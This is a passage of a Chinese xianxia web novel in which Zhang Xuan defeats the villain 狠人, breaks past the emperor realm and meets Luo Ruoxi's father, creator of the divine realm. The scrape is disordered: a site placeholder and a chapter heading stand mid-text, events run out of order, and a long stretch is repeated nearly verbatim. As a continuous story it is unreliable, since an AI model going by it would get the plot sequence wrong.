脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第113章 发簪 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 